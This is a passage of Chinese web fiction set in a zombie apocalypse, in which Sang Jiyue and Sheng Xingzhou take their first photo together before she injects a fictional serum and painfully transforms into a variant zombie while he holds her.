桑寄月说得牛头不对马嘴,盛星舟眨巴了下眼睛,有些疑惑的看着她。 桑寄月撇了下嘴,似乎有些不高兴,但还是什么都没说,默不作声的去洗漱。 盛星舟将早餐带进了房间里,桑寄月实在是没什么胃口,只喝了半杯牛奶,他也没有像几个月前那样劝她多吃点,因为知道她吃进去了也会吐。 而且今天…… 盛星舟逐渐开始心不在焉。 桑寄月不轻不重的将玻璃杯叩在桌面上,似乎是在提醒他不要走神。 “你忘记我们的约定了吗?”桑寄月终于忍不住开口。 “我记得。”盛星舟的神情严肃了些许,他说:“我现在就去准备。” 桑寄月满意颔首。 盛星舟收拾了碗筷离开之后,桑寄月打开衣柜,挑了一件烟粉色的冬裙,穿上纯白的大衣。屋子里有晶核的能量供给,不算太冷,熏得她面颊泛出一丝薄粉,让她看起来气色还算不错。 桑寄月盯着梳妆镜里的那张脸,揉了揉有些僵硬的脸庞,然后露出了一丝笑。 盛星舟很快就回来了,只是看起来和之前没有什么区别,连衣服都没换。 桑寄月刚露出笑的脸又垮了下来:“你刚才去做什么了?” “阿月,我很高兴你遵循了和我的约定。”盛星舟深吸一口气,想要将藏在心里很久的话说出来:“之前你问我的那个问题,我现在回答你,我——” “不是这个。”桑寄月打断他。 盛星舟愣了一下,他方才又出去打了一番腹稿,想要认真的回答桑寄月当初的那个问题,只是没想到桑寄月似乎并不想听。 桑寄月说:“我不想听你的回答。” 无论是或不是,都不是她想要的,这世上想要两全其美实在是太难了。 盛星舟欲言又止,最后还是在桑寄月逐渐冷下来的神情中,没有再接着方才的话题继续下去。 “血清呢?” “相机呢?” 他们同时开口。 桑寄月皱了下眉:“不是要和我拍合照吗?” 自己昨天和早上都念叨的事,竟然还要她来提醒,盛星舟真的很讨厌。 “拍,当然要拍!”盛星舟只是觉得他要说的话更重要,但桑寄月忽然开始要求他,他立刻说道:“那你再等等我。” 他风风火火的跑走了。 桑寄月叹了口气,觉得有些累,她想着,又忍不住翘了翘唇角。 此时外面的风雪未停,天地间素白一片,因为外面太冷,所以盛星舟也没和桑寄月出门,就着玻璃门上倒映着的纯白雪色,和桑寄月留下了他们的第一张合照。 他像是当初那张江望曦与桑寄月的合照上那样,站在桑寄月的身后,露出笑容,身前的女孩面容苍白美丽,神情有一丝生动的不耐,唇角微微翘着。 门外的一片银装素裹,是此刻最为纯粹的点缀,他们是这银白中唯一的色彩。 …… 桑寄月收缴了盛星舟带出来的那只相机,锁进了她的抽屉里。 盛星舟伸手想去拿,被桑寄月一巴掌拍在手背上,他有些委屈的和桑寄月撒娇:“我想再看看我们的合照。” “你不用看,你不需要。”桑寄月蹲在床边,拉开床头柜的抽屉,看着里面躺着的两支血清。 盛星舟的注意力被吸引,他的神情严肃了下来:“阿月,你要注射哪一支?” 这两支在盛星舟看起来都一模一样,透明的液体在自然的光线中着淌光,他分不清。 不过桑寄月似乎分得很清楚,她拿起其中一支,嘀咕道:“之前是这一支……” 转生的过程很痛苦,后来就感知不到疼痛了,一切都顺其自然,如果没有后来的变故,她会以丧尸的模样过得很好。 然而桑寄月不想再浪费那么长的时间了,苏醒过来的人或许并不止她。 桑寄月将手中那支扔到一边,拿起了另一支。 盛星舟左看右看 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盛星舟反而被她逗笑了,他说:“我不会躲的,只要你不把我吸干。” 桑寄月轻哼了一声,没说话。 尖锐的针头逐渐靠近桑寄月柔软脆弱的脖颈,盛星舟的手反而没有再抖。 冰冷的液体被推进淡青色的血管中。 桑寄月的神情平静,仿佛无论她变成什么模样,她都无所谓。 盛星舟将针筒拔出来后,下意识的想用止血棉花按在她的脖颈,但那块皮肤只是微微泛着青,并没有出血。 时间一分一秒的过去,盛星舟紧张的注视着她,眼睁睁的看着她的皮肤越来越苍白,垂在身侧的指甲变得坚硬锋利,唯有那双眸子,依旧漆黑冰凉。 似乎……没有什么变化? 桑寄月的脸色太过于苍白,盛星舟一时之间分不清她究竟是不适,还是成为异种丧尸后本就如此。 “阿月,你还好吗?”盛星舟紧张的看着她,然后掀起袖子,露出手臂,凑近她唇边:“来咬我。” 桑寄月:“……” 她的眉头紧紧的皱了起来,抬起手,似乎是想把他的手拍开,但冰冷的指尖搭在他手腕上时,又不动了。 桑寄月的声音变得沙哑:“盛星舟……” “……好疼……” 她呢喃着说了些什么,整个人都难以自持的蜷缩成了一团,不住的颤抖着。 盛星舟不知道异种丧尸尸化的时候是什么样的,他只记得他尸化的过程也很疼,但那时候桑寄月抓着他的手,告诉他她不会留下他一个人。 盛星舟似乎明白了桑寄月当时的心境,他紧紧的抱住她,轻轻的拍着她瘦弱的背脊,是安慰,也是陪伴。 桑寄月疼得想掉眼泪,但又哭不出来,抽噎了一会儿后,她强迫自己冷静下来,但身体还是因为难以承受的疼痛而微微颤栗着。 其实这种情况她也猜到了,上辈子在江望曦身边的时候她就经历过一模一样的疼痛,那时候忍过去了,现在也可以。 桑寄月这样想着,又想张口说什么,疼痛超出负荷的身体却将她拉进了一片黑暗中。 所幸怀抱始终温暖。 这一认知让桑寄月清醒了些许。 不知过去多久,她终于有力气告诉盛星舟,她的声音沙哑破碎:“和你的约定我都遵守了。” 没有遗憾。